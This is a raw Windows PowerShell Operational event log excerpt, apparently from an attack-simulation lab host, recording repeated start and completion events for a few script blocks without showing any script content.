SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031888
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031887
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031886
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031885
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031884
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031883
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031882
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031881
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031880
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031879
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031878
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031877
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031876
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031875
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031874
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031873
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031872
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031871
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031870
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031869
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031868
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031867
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031866
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031865
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031864
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031863
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031862
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031861
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031860
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031859
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031858
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031857
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031856
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031855
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031854
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031853
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031852
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031851
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031850
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031849
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031848
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031847
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031846
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031845
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031844
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031843
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031842
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031841
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031840
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031839
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031838
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031837
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031836
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031835
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
